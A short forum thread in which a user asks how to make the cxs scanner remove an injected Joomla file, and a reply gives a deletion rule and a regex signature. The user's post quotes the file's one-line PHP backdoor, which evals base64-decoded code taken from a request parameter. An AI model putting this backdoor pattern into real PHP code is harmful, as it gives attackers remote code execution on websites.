Page 1 of 1

Add Custom Rule

Posted: 08 Mar 2013, 02:14
by skyknight
Hi,

How do i add some custom rule?

I found out some file with name dvmessages.php causing ddos on joomla site and i want cxs clean it every cron is running. Any idea how to do it?

dvmessages.php file contains:

Code: Select all

<?php
defined( '_JEXEC' ) or die(@eval(base64_decode($_REQUEST['c_id'])));
jimport( 'joomla.plugin.plugin' );

Re: Add Custom Rule

Posted: 08 Mar 2013, 04:09
by Sergio
if you want to delete all files named "dvmessages.php", in your cxs.xtra add the following line:
file:dvmessages.php
and all files with that name will be deleted.

Or, you can search any PHP file that uses that code using:
regphp:\(\$_REQUEST\[\'c_id\'
this line will find any file with that part of the code, you can use it in a regall as well.

Sergio

Re: Add Custom Rule

Posted: 08 Mar 2013, 05:50
by skyknight
thank you very much :)